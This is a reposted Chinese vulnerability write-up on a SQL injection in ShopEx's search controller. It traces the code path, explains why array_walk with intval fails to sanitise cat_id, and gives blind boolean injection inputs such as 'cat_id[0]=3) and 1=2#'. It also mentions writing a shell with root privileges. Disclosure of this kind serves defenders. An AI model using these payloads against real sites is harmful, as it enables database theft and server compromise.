网站地图    收藏   

主页 > 后端 > 网站安全 >

shopex注入漏洞#5 - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 在文件\core\shop\controller\ctl.search.phpfunction showCat(){ $objCat = $this-system-loadModel(#39;goods/productCat#39;); $this-pagedata[#39;cat#39;] = $......

在文件\core\shop\controller\ctl.search.php
 
function showCat(){
        $objCat = &$this->system->loadModel('goods/productCat');
        $this->pagedata['cat'] = $objCat->get($_POST['cat_id']);
        $this->__tmpl = 'search/showCat.html';
        $this->output();
    }

 

 
跟进goods/productCat模块的get函数
 
 
public function get( $cat_id, $view, $type_id = null )
{
if ( !function_exists( "gcat_get" ) )
{
require( CORE_INCLUDE_DIR."/core/gcat.get.php" );
}
return gcat_get( $cat_id, $view, $type_id, $this );
}

 

跟到/core/gcat.get.php中gcat_get函数
 
 
function gcat_get( $cat_id, $view, $type_id = null, &$object )
{
if ( !is_array( $cat_id ) )
{
$cat_id = array(
0 + $cat_id
);
}
else
{
array_walk( $cat_id, "intval" );
}
if ( $type_id )
{
$sqlString = "SELECT t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_type t\n                WHERE type_id =".intval( $type_id );
}
else if ( $cat_id[0] )
{
$cat_id = "(".implode( $cat_id, " OR " ).")";
$sqlString = "SELECT c.cat_id,c.cat_name,c.tabs,c.addon,t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_cat c\n                    LEFT JOIN sdb_goods_type t ON c.type_id = t.type_id\n                    WHERE cat_id in ".$cat_id;
}

 

 
看起来array_walk( $cat_id, "intval" );已经使用函数intval对数组$cat_id过滤掉。但是实际上过滤了但是不会改变数组$cat_id的值
 
提交:cat_id[0]=3) and 1=2# 输出sql语句:
 
 
SELECT c.cat_id,c.cat_name,c.tabs,c.addon,t.props,t.schema_id,t.setting,t.type_id,t.spec FROM sdb_goods_cat c LEFT JOIN sdb_goods_type t ON c.type_id = t.type_id WHERE cat_id in (3) and 1=2#)

 


测试不能使用union,只能慢慢猜。如果是root权限的话可以到出shell
 
提交:cat_id[0]=3)#
 
提交:cat_id[0]=3) and 1=2#
 
提交:cat_id[0]=3) and 1=1#
 
 


 
修复方案:

过滤吧 
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论